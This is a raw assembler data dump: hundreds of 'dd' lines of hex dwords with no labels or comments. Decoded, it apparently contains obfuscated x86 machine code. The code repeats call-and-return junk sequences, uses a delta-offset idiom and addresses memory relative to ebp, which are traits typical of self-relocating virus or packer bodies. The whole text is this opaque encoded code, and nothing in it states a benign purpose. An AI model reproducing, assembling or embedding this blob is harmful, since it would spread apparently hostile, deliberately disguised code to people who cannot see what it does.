		dd 180424h, 52420000h, 0CD124AC3h, 890F85DBh, 6, 30DDB589h
		dd 8B5207A8h, 0A80D29BDh, 0BD835F07h, 7A831F5h,	55840F02h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 1305C357h, 26600740h, 0BF661304h
		dd 858BA682h, 7A82981h,	0C6F88B66h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 0B63500C3h
		dd 0FFBF0FCFh, 21C985C7h, 7A8h,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0DB8A0EC3h
		dd 11CB8048h, 0FFF1AFE9h, 57006AFFh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0D8BF0F8Fh
		dd 8B66C18Bh, 25858DFEh, 8B07A804h, 0A829199Dh,	0DDBF9007h
		dd 505D6D5Bh, 12E890h, 7E900000h, 8F6B4CDAh, 56CB8A9Eh
		dd 0D7C663B2h, 88571F87h, 8E8h,	3F8600h, 64EE9E0Bh, 0AE906h
		dd 852A0000h, 28637CD7h, 151CD69Ch, 6A5F5Fh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0F5C35040h, 878DE953h
		dd 0FB143895h, 0A99D8B3Fh, 0BB07A827h, 2AFDD74Dh, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 536DB1C3h, 0DB816601h, 8960A3EDh, 0A825959Dh, 119D8B07h
		dd 6107A80Eh, 937F858Dh, 6A07ACh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 0E19201C3h, 51C91A03h
		dd 5BDD8A57h, 0E805C083h, 11h, 5FA19171h, 2D5FF539h, 56ACCA08h
		dd 3B73F31Dh, 419D8B36h, 5F07A823h, 50B4B790h, 92BA6660h
		dd 0EE850h, 0C0F00000h,	0B12EBBCCh, 0A7FB5C94h,	0F0622C37h
		dd 5E8h, 817BCC00h, 5F5FBCADh, 11E99061h, 59000000h, 61843AB8h
		dd 0C41DC173h, 4BA940D5h, 0E40D375Eh, 6A006Ah, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 0CEF2EBC3h, 8BDC6A45h, 0A828CD9Dh, 89006A07h, 0A80ED5BDh
		dd 3995FF07h, 0F07A81Bh, 686h, 0F99D3300h, 8D07A810h, 0AB9A3B8Dh
		dd 0B5BD8B07h, 0FF07A819h, 55006AD1h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 152BF154h
		dd 0D3818BF3h, 5DB3F5A1h, 6A5BD83h, 0F0107A8h, 6F85h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0C29E97C6h, 15A65595h, 9600100h, 0A8229185h,	0DAAFB807h
		dd 806168A7h, 26A66E7h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 16C35242h, 4554D1D3h,	506F5CC8h, 0A11DBB66h
		dd 0F5240489h, 14E595FFh, 0BD8B07A8h, 7A814F1h,	0DE2E9h
		dd 0E800h, 815D0000h, 0AC9389EDh, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0EDE02B06h
		dd 0DF52843Dh, 0F0B70F60h, 1A399529h, 8D6107A8h, 0AB8C0385h
		dd 958B6007h, 7A81D69h,	9061DF8Bh, 0BE9h, 0BD162500h, 51569831h
		dd 62F2F7B7h, 6A9050h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0E95017C3h, 0Dh,	115E5DA8h, 84A68266h
		dd 0CBECDC4Dh, 9D8B5B00h, 7A81879h, 35FF64h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0C067C357h, 13F8F7DDh, 0E9B34FC5h, 13h, 0DFB42610h
		dd 1D82A720h, 0FD166587h, 0C863DCAAh, 64F85F9Ah, 2589h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 9CA7FC3h,	1AF093FFh, 295B9338h, 0A80A2DB5h
		dd 0E585FF07h, 6A07A80Eh, 51006AFFh, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 2FD59D81h
		dd 247733Fh, 0B5FF53AFh, 7A82FC5h, 293DBD09h, 95FF07A8h
		dd 7A8246Dh, 147E9h, 0C7BF6600h, 0E800B003h, 0Dh, 0AA4FC60Bh
		dd 0EC51BDF6h, 2BAFAAEEh, 0BDBD237Bh, 5F07A822h, 0BB76B6BBh
		dd 8B70E655h, 0A82935BDh, 371E407h, 0A80A61BDh,	0F613C07h
		dd 10B83h, 8E900h, 5B290000h, 1EDF32F0h, 0B60FE244h, 899D8BC8h
		dd 0BA07A81Bh, 6, 30E58589h, 0C18B07A8h, 2F358509h, 858907A8h
		dd 7A81B19h, 0F804E8C1h, 80E2F766h, 0C82BEFE7h,	8BDA8B66h
		dd 6880FD1h, 89000000h,	0A808EDB5h, 6E907h, 8D890000h
		dd 7A80791h, 3A9858Bh, 8B6607A8h, 7C083D9h, 4359D89h, 0C08307A8h
		dd 0FD03B00h, 3F83h, 13E800h, 46EA0000h, 17005B99h, 30F0C91Bh
		dd 0D4B6F824h, 97AD692h, 0BD9D89CFh, 5B07A830h,	6850Fh
		dd 95890000h, 7A833F5h,	67E9h, 0AE900h,	906C0000h, 5E077E87h
		dd 9F8E949Bh, 13518D8Bh, 958907A8h, 7A80E29h, 0F01E183h
		dd 4384h, 19800F00h, 0E8000000h, 0Dh, 0BB918B52h, 4E9E6B7Dh
		dd 659E302Ah, 0A9B589B7h, 5F07A826h, 1351A583h,	60FE07A8h
		dd 5FD98B57h, 6810Fh, 8D230000h, 7A81ADDh, 0A9958961h
		dd 0E907A803h, 0
		dd 829B58Dh, 8D8907ACh,	7A81BC9h, 455BD89h, 6A07A8h, 5CB0BB66h
		dd 0D2195FFh, 6A07A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0E6FEA6C3h, 8B517117h, 0A82911BDh
		dd 0B3B95F07h, 6A000008h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0CD17C355h,	0C19D890Eh
		dd 8307A80Ch, 13E9FCE1h, 0C9000000h, 0A98F8CEDh, 9C317988h
		dd 52799B89h, 28E4A662h, 0FFC0687h, 383h, 0FABF0F00h, 0B8h
		dd 0B39BF00h, 0BA0B53h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 111FC356h
		dd 0DD99D8Bh, 8B6607A8h, 0C233ADDFh, 0D003E8D1h, 7504E983h
		dd 2EC380F4h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 14h,	0F5C35747h, 2DB19D8Bh, 880D07A8h, 66000000h, 958BFE8Bh
		dd 7A81731h, 0FE8h, 51834700h, 0B06021BAh, 57673366h, 4FF319E0h
		dd 0F8E121BBh, 8D8B5B59h, 7A80A59h, 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 9D335818h, 7A81439h, 601BD8Bh
		dd 10E907A8h, 40000000h, 77446EFh, 6504A0A4h, 0F09A4BB5h
		dd 8372EBFBh, 0A81885BDh, 840F0007h, 79h, 419D09h, 0B807A8h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0DE7BC356h, 8D8DDEF5h,	7A84E4Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0C5C35747h
		dd 96E3B4AAh, 0E1FF0D61h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 17h, 0E1C35141h, 8BF6FF06h, 0A5BF66F8h, 39BD8317h
		dd 7A809h, 415840Fh, 81660000h,	83EEDBEBh, 0A80939BDh
		dd 840F0107h, 41Eh, 0ED952957h,	5F07A810h, 939BD83h, 0F0307A8h
		dd 3D386h, 0F88B6600h, 19BD8960h, 6607A830h, 0BD89D98Ch
		dd 7A82601h, 8B04E180h,	0A8234D9Dh, 0FC90A07h, 16D84h
		dd 0EE800h, 0DA900000h,	0EBD2A22Eh, 0C2AD972Bh,	0B90B51C2h
		dd 0D8E0F5Bh, 60000000h, 0C6BEC781h, 816663BDh,	61B5DCF2h
		dd 0BB1858Bh, 6A07A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 8B66E6C3h, 718533F9h, 6A07A828h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 3A62C353h, 0F7FEBE6h, 1B83h, 13E800h, 854B0000h
		dd 0BA3DB36Eh, 7606F605h, 0E29622F3h, 0EDBA55D1h, 5B61603Fh
		dd 2800F90h, 8B000000h,	8B6650FEh, 958990FBh, 7A80031h
		dd 11E9h, 5219900h, 0EABD592Bh,	9D0E8073h, 6C4AC6CCh, 6A856Fh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 8CC35646h
		dd 9D8529C5h, 0F07A827h, 68Dh, 0E98D2900h, 6807A82Ah, 0E5B2167Ch
		dd 81F88B66h, 0ED832404h, 0FFF91A6Ch, 0A8053995h, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 5A891D64h, 2E75BD8Bh, 858907A8h, 7ABBB2Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 4EC35242h, 68D0F05h
		dd 89000000h, 0A814C995h, 202E907h, 0BE90000h, 0B7000000h
		dd 84021AB2h, 8D5A8E69h, 858B1E7Ah, 7ABBB23h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 21C35343h, 9D89B9A6h
		dd 7A82FF9h, 1800C7h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0EFC53C3h, 0BD896C21h
		dd 7A81CA1h, 0BB27B58Bh, 0DE8B07ABh, 0CCD858Bh,	6A07A8h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0B590EAC3h, 52F46208h, 5C5B589h, 68907A8h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 68C35242h, 0CFE6E65Fh
		dd 0B1858BF8h, 8907A80Bh, 0A80E819Dh, 4468907h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0F7C35646h, 84CFA2ADh
		dd 295026E4h, 10E9h, 8CABC400h,	211D0C8Dh, 258B2661h, 39735949h
		dd 0BF665021h, 34896006h, 56006A24h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 883645A2h
		dd 0BF66227Ch, 0B5FF53E5h, 7ABBB23h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 0C6C35242h,	64958B36h, 10E80E67h
		dd 3F000000h, 0A8528FEFh, 5D2AED27h, 0C91CCAD8h, 3BB2973h
		dd 0A806AD9Dh, 2C685B07h, 60257C11h, 8A0F40B6h,	4, 2B43BB66h
		dd 24348161h, 256312D3h, 0FD8589F5h, 8D07A807h,	0ABBB2B85h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 8BA4840Fh, 0A81D0DBDh, 0BF519007h, 7F90BB89h
		dd 0BB66505Fh, 89904109h, 0A8338985h, 3995FF07h, 6A07A805h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 1639C357h, 4C049919h, 0A9D780EDh,	0BD895061h
		dd 7A82F35h, 3985C75Fh,	307A809h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 30A8C356h, 2504E08Ch, 0BD837BACh, 7ABBB2Bh, 0D840F00h
		dd 66000000h, 20E9F98Bh, 0BB000000h, 4715FA90h,	110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 8BC08B00h, 0A82A69BDh
		dd 39BD8307h, 307A809h,	4EF850Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0EF8B80C3h
		dd 0B3E47FDBh, 0BB2BBD83h, 0F0007ABh, 4C084h, 0DEB70F00h
		dd 0BB2BB5FFh, 6A07ABh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 41F9F9C3h, 0F2ED7F1Ah, 669B03F0h
		dd 95FFFA8Bh, 7A82475h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 0A0C35040h, 0D61AEE9Ch, 0D232B532h, 0BB1FB58Bh
		dd 9D8B07ABh, 7A80775h,	106C7h,	6A0001h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 0BF6651C3h
		dd 0FA8BA4DEh, 800F5096h, 0
		dd 56006A96h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 989813DDh, 0E84353E7h, 7, 0A3728794h, 0E910931Fh
		dd 12h,	0CD04C81Dh, 7B20A38Dh, 0FABD69F5h, 4708809Dh, 0FF5BE9C1h
		dd 0ABBB2BB5h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 95FF55A6h, 7A823E5h, 0B58BDA8Ah
		dd 7ABBB1Fh, 8FDDBB66h,	2941858Bh, 6A07A8h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 0E691DCC3h
		dd 8F0F2570h, 6, 8E18589h, 880F07A8h, 0Ah, 5E9h, 91D4CB00h
		dd 8689BB4Eh, 0C4h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 33C35141h, 0D99D8B38h, 0F07A805h, 958BFEB7h
		dd 7A81731h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	0A4C35646h, 0B5B76F8Eh,	0DF8166A5h, 0C2839BEEh
		dd 52006A04h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 895723E5h, 0A8186195h, 50895B07h, 55006A20h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0BE563FACh, 0F7EC083Fh, 9D8B8F91h, 7A82D41h,	0CFC1858Dh
		dd 6A07ABh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 5536C8C3h, 4971C479h, 0B589512Dh,	7A80581h
		dd 0B886895Fh, 8B000000h, 0A82C35BDh, 66006A07h, 0B39CE381h
		dd 0BB2BB5FFh, 6A07ABh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 28BB78C3h, 0FF5FDF40h, 0A814E595h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 993C6663h, 99A9BB01h, 0E9503A9Bh, 0Ch, 369AF910h
		dd 70F1ABF7h, 662E96C6h, 6A243489h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 6F0C352h
		dd 6AEAFA58h, 1C25F42Bh, 2FD5BD23h, 0B5FF07A8h,	7ABBB2Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 4C35040h
		dd 880F1C10h, 0E959816Fh, 13h, 186DF473h, 6D252770h, 0ED84467Fh
		dd 5DA15F59h, 0FFD4E15Dh, 0A81D0995h, 51006A07h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
		dd 4DEBDC32h, 1DFDBD83h, 0F0007A8h, 5684h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
		dd 403BD501h, 0BD8BE79Fh, 7A826CDh, 25659D23h, 0E85007A8h
		dd 13h,	0C77C1BFCh, 2793C4B3h, 4CBDB3EEh, 732D60D4h, 0BFDA614Dh
		dd 18E5B1F3h, 2434895Fh, 1577BB66h, 0FFF98B66h,	0ABBB2BB5h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0D148A11h, 75850953h, 0FF07A82Ah, 0A810D595h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0B5FF47C0h, 7ABBB2Bh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 91C35242h, 0B69B70DCh, 0D380B8A5h
		dd 3995FF5Eh, 6A07A80Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 84ECC351h, 9D0349A3h
		dd 7A818C1h, 31F5BD83h,	0F0207A8h, 4584h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
		dd 0DDCFF130h, 68E0Fh, 0BD8B0000h, 7A81ACDh, 8BD8BF0Fh
		dd 0A8298185h, 89B58907h, 0C607A82Fh, 890F0000h, 2, 85C775B7h
		dd 7A821C9h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 3FC35747h
		dd 0F339E9B9h, 8166FFFFh, 8BB282F7h, 0CDBD8BC1h, 8D07A80Ah
		dd 0A8042585h, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 0B2BDF1EEh, 8960EF18h
		dd 0A82D01BDh, 598D8907h, 6107A828h, 0B358D89h,	669007A8h
		dd 502472BFh, 0B157BB60h, 52602517h, 9061615Bh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0CFC35242h, 2FBC9BC6h
		dd 0C4FA4AFCh, 0BB66006Ah, 6A4E48h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 83C35141h, 3DAD88DDh, 8DFB8BC4h
		dd 0ACA39685h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 8ABC08EFh, 0CF8166D1h
		dd 0C0832A64h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0F99D8B93h, 6607A825h
		dd 6CD5CF81h, 10E95790h, 96000000h, 4C9FDFB9h, 203155BEh
		dd 337FC039h, 5F9A592Eh, 905F5250h, 0FD5BD89h, 6A07A8h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0C35747h
		dd 114F137Ah, 0BD29A345h, 7A80F01h, 7E9h, 0C63CA500h, 0C932823Ah
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0B11F51C3h, 0AAB1AC3Bh, 95FF9A78h, 7A81B39h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 99C35747h
		dd 8B35F074h, 0A827F5BDh, 3B8D8D07h, 8907AB9Ah,	0A80EADBDh
		dd 50D1FF07h, 52A9DFBBh, 85295F31h, 7A82985h, 6A5BD83h
		dd 0F0107A8h, 6E85h, 51006A00h,	3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 0C862D486h, 25BD8B03h
		dd 6A07A81Eh, 0D5BD8902h, 5007A81Bh, 0E9240489h, 12h, 0AF0472AEh
		dd 878C6525h, 5C5A07BAh, 2856741h, 95FF1975h, 7A814E5h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0EAC35646h
		dd 0E99E17ADh, 0E7Bh, 0E8h, 0ED815D00h,	7ACA3A0h, 0E9F9B70Fh
		dd 13h,	6D9C3546h, 4BF21650h, 99CE1E09h, 3F598D53h, 81B619FDh
		dd 4563C9C3h, 3858D58h,	0B07AB8Ch, 0A834899Dh, 10E95007h
		dd 70000000h, 3C0BCE20h, 0E4F1F7CCh, 0A2BC60FDh, 895DA888h
		dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 669A17C3h, 0FF64F88Bh, 35h, 29B58900h, 6407A828h
		dd 2589h, 85FF0000h, 7A80EE5h, 5F50FF6Ah, 28E0Fh, 0DE8A0000h
		dd 55B5FFh, 8B6607A8h, 0CE9FBh,	0E8140000h, 4FCE1C81h
		dd 0B5419A22h, 95FF388Fh, 7A8246Dh, 10DE9h, 0C5958900h
		dd 8B07A805h, 0A819259Dh, 3100B007h, 0A8177195h, 919D8B07h
		dd 0E607A82Ch, 13E970h,	0B0160000h, 7D8DAF1Ch, 19F0E81Dh
		dd 9DBA65E3h, 53C4F3C0h, 6071E48Eh, 0F499D8Bh, 8D2B07A8h
		dd 7A80085h, 0F613C61h,	0C183h,	12E900h, 245B0000h, 960A9845h
		dd 0EDE7F23Ah, 0B5D503EAh, 0B4CA603Bh, 0FCC8B60Fh, 6BAh
		dd 0C18BF500h, 33A99D8Bh, 0E8C107A8h, 27DF8104h, 6669505Eh
		dd 8E9E2F7h, 0C3000000h, 0D0AF091Ah, 0B49636Bh,	0A8133DBDh
		dd 8BC82B07h, 0A80591BDh, 8BD18B07h, 0A829F1BDh, 6E907h
		dd 0B5890000h, 7A833B5h, 2669858Bh, 28BF07A8h, 0F959DC12h
		dd 3307C083h, 0A81CB1BDh, 0C08307h, 6DC38166h, 0FD03BFCh
		dd 0B83h, 49BD0300h, 0E907A827h, 2Eh, 15758D8Bh, 0E18307A8h
		dd 1F840F01h, 0BF000000h, 430A3777h, 1575A583h,	8BFE07A8h
		dd 0A828F1BDh, 69958907h, 0B307A826h, 0E912h, 0B58D0000h
		dd 7AC12EAh, 0B3D9D89h,	6A07A8h, 0E850006Ah, 3,	58C35820h
		dd 4244489h, 4244481h, 1Ah, 2AC35040h, 0C9B2F402h, 0BB6658B9h
		dd 95FF40C6h, 7A80D21h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0A5C35747h, 0EE422F62h, 1171DC20h, 0AE9h
		dd 3AD65200h, 957C9132h, 60E87F2Fh, 9E98D89h, 0EF8107A8h
		dd 7341D6B1h, 80AB961h,	8F0F0000h, 5, 4EDE86BFh, 459D8921h
		dd 8307A806h, 6AFCE1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 791D54C3h, 335805BCh, 958B6011h
		dd 7A82FC9h, 6AFC61F8h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 5120C356h, 0E9F8A5D9h
		dd 13h,	0D4059A4h, 13607AC7h, 94C0E80Dh, 35F6125Dh, 2BD54C4Ch
		dd 57006AC0h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0BD09CB2Ah, 7A82929h, 0BAh, 33ADF800h, 3E8D1C2h
		dd 4E983D0h, 8C0FF475h,	21h, 5E8h, 1CA08C00h, 11E994BFh
		dd 94000000h, 38527F19h, 5A81FE9Bh, 795C72D6h, 0FF3876DDh
		dd 52006A5Fh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 0D6BBD405h, 667ACB1h, 358D3195h,	8107A822h
		dd 61CBA3CBh, 880D43h, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 958B5EC3h, 7A81731h
		dd 212D9D03h, 8D8B07A8h, 7A80A59h, 235D61BFh, 0C28B5079h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0A0F9C356h, 66384B03h, 18862BBh, 0A80F31BDh,	85BD8307h
		dd 7A818h, 0B2840Fh, 0BD8B0000h, 7A81775h, 0B8h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0D4B708D0h, 0E9C9F86Dh, 0Ch,	0E7F65D6h, 6C192322h, 0D8E90424h
		dd 158D0Fh, 10E90000h, 0B7000000h, 63CCA841h, 923594B8h
		dd 8514428Dh, 8DE4ED91h, 0A84E4D8Dh, 0FECF8107h, 0FF5B2DEBh
		dd 57006AE1h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 0C522B08h, 0DD71C78h, 0FE804h, 7F1D0000h
		dd 0DC0E11B6h, 0FC3227E7h, 0E5DF1F7Fh, 0E85BFCEFh, 5, 473FA352h
		dd 0C185896Eh, 5B07A818h, 939BD83h, 0F0007A8h, 4F384h
		dd 0A19D8B00h, 8307A819h, 0A80939BDh, 840F0107h, 4FBh
		dd 8E9h, 0C02D0700h, 0AC1B0C63h, 39BD8391h, 307A809h, 4AB860Fh
		dd 8D890000h, 7A825BDh,	52006A60h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1404h, 0C3524200h, 0E9DE8B79h, 11h, 0F1CD2045h
		dd 0A03EDEC2h, 1DF5C71Eh, 0D84269D0h, 0D98C66E9h, 6A04E180h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0B713C356h, 78BC7679h, 0CE92Ch, 0C49A0000h
		dd 88C5858h, 0DFDAC3D3h, 0C90A58F6h, 174840Fh, 81660000h
		dd 0E9A628CFh, 0Ah, 25910D92h, 2ED2F797h, 858B776Ah, 7A80BB1h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0B9C35141h
		dd 662EB586h, 8533F88Bh, 7A82871h, 0E8505F57h, 5, 0DFB64522h
		dd 605250B2h, 0F310F61h, 80h, 5B585A00h, 6A240489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 4A0BC355h, 0FAB70FBFh, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 4299AFC3h
		dd 51F4B7A8h, 0E8DAB70Fh, 4, 1F03FFh, 535A5360h, 0FE8h
		dd 0E5D04900h, 3802067Ah, 0A43070ABh, 18E9E2Bh,	50615F5Eh
		dd 0BAC6BB66h, 424448Bh, 8B33B7h, 0DE8h, 0E9A13300h, 8AB8C973h
		dd 9A7E50C5h, 0DA8BB835h, 2444895Fh, 58DA8B04h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F0C35141h, 60EB1E9Ch
		dd 0D781C28Bh, 74D8B11Fh, 89BB6661h, 0F8B70FB1h, 53995FFh
		dd 6A07A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 0A22B38C3h, 8B66F7EDh, 0B58960DFh, 7A8257Dh
		dd 0FB25C781h, 89614E41h, 0ABBB2B85h, 61852907h, 0E907A80Ch
		dd 236h, 33118509h, 858B07A8h, 7ABBB23h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 17h, 72C35343h, 892EC731h
		dd 0A82A7DBDh, 1800C707h, 8B000000h, 0A826F9BDh, 27B58B07h
		dd 6A07ABBBh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0DA65C351h, 2C2DBBE1h,	0DF81FDF0h
		dd 53E63F8Ch, 0CCD858Bh, 6A07A8h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 3CCCB3C3h, 89FFA63Fh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 66E51292h, 858BFA8Bh, 7A80BB1h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0AC35646h, 9777BBD5h
		dd 468932EDh, 0E490BB04h, 0E8967BB2h, 5, 9BB0D6Ch, 0CE82Eh
		dd 0A1FF0000h, 994D9BFDh, 0CF7BE250h, 52502CC7h, 585A310Fh
		dd 50505F5Bh, 11E952h, 7EA60000h, 38BCB610h, 604BCB55h
		dd 7A489C3Ah, 0F13F98Bh, 5E831h, 0CF320000h, 0E995F014h
		dd 10h,	4A787A6Fh, 7A2FAA6Eh, 47BCF338h, 0F48AF105h, 96585A5Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 6FC35040h
		dd 66CAEE4Ch, 0B5FFD88Bh, 7ABBB23h, 3031BD8Bh, 4E807A8h
		dd 0FF000000h, 8B001F03h, 7E850DAh, 85000000h, 4AD7734Fh
		dd 17BFD243h, 5B392EC5h, 424448Bh, 8BDA8B66h, 12E96000h
		dd 0C2000000h, 0E2B09C02h, 65FB2A1Bh, 0BD159502h, 0E9E7BECEh
		dd 5E525309h, 44896159h, 0FCB30424h, 3DBD2358h,	8D07A826h
		dd 0ABBB2B85h, 0A5BD8B07h, 5007A822h, 489F88Bh,	55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 58328B05h, 7F37F006h, 555B15BFh, 9CD38126h, 964C116h
		dd 0A80FB585h, 3995FF07h, 6A07A805h, 3E85000h, 20000000h
